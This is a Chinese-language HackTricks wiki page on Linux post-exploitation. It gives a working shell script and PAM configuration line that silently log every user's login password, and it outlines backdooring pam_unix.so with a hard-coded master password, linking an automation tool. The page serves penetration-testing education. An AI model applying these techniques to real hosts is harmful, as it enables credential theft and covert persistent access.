hacktricks/linux-hardening/linux-post-exploitation
2024-07-18 22:08:20 +00:00
..
pam-pluggable-authentication-modules.md Translated ['binary-exploitation/basic-stack-binary-exploitation-methodo 2024-07-18 22:08:20 +00:00
README.md Translated ['1911-pentesting-fox.md', '6881-udp-pentesting-bittorrent.md 2024-07-18 18:17:52 +00:00

Linux后渗透

{% hint style="success" %} 学习并练习AWS HackingHackTricks培训AWS红队专家ARTE
学习并练习GCP HackingHackTricks培训GCP红队专家GRTE

支持HackTricks
{% endhint %}

使用PAM嗅探登录密码

让我们配置一个PAM模块来记录每个用户用于登录的密码。如果你不知道什么是PAM请查看

{% content-ref url="pam-pluggable-authentication-modules.md" %} pam-pluggable-authentication-modules.md {% endcontent-ref %}

有关更多详细信息,请查看原始文章。这只是一个摘要:

技术概述: 可插拔认证模块PAM在管理基于Unix的系统上的认证方面提供了灵活性。它们可以通过自定义登录流程来增强安全性但如果被误用也会带来风险。本摘要概述了使用PAM捕获登录凭据的技术以及缓解策略。

捕获凭据:

  • 创建一个名为toomanysecrets.sh的bash脚本用于记录登录尝试捕获日期、用户名$PAM_USER、密码通过stdin获取和远程主机IP$PAM_RHOST)到/var/log/toomanysecrets.log
  • 使脚本可执行,并使用pam_exec.so模块将其集成到PAM配置common-auth)中,使用选项静默运行并将认证令牌暴露给脚本。
  • 该方法演示了如何利用受损的Linux主机秘密记录凭据。
#!/bin/sh
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
sudo touch /var/log/toomanysecrets.sh
sudo chmod 770 /var/log/toomanysecrets.sh
sudo nano /etc/pam.d/common-auth
# Add: auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh
sudo chmod 700 /usr/local/bin/toomanysecrets.sh

后门PAM

有关更多详细信息,请查看原始帖子。这只是一个摘要:

可插拔认证模块PAM是Linux下用于用户认证的系统。它基于三个主要概念用户名密码服务。每个服务的配置文件位于/etc/pam.d/目录中,共享库处理认证。

目标修改PAM以允许使用特定密码进行身份验证绕过实际用户密码。这主要集中在pam_unix.so共享库上,该库由common-auth文件使用,几乎所有服务都用于密码验证。

修改pam_unix.so的步骤:

  1. 定位common-auth文件中的认证指令
  • 负责检查用户密码的行调用pam_unix.so
  1. 修改源代码
  • pam_unix_auth.c源文件中添加一个条件语句,如果使用预定义密码,则授予访问权限,否则继续常规认证过程。
  1. 重新编译和替换修改后的pam_unix.so库到适当的目录。
  2. 测试
  • 使用预定义密码跨各种服务登录、ssh、sudo、su、屏幕保护程序授予访问权限而正常的认证过程保持不受影响。

{% hint style="info" %} 您可以使用https://github.com/zephrax/linux-pam-backdoor自动化此过程。 {% endhint %}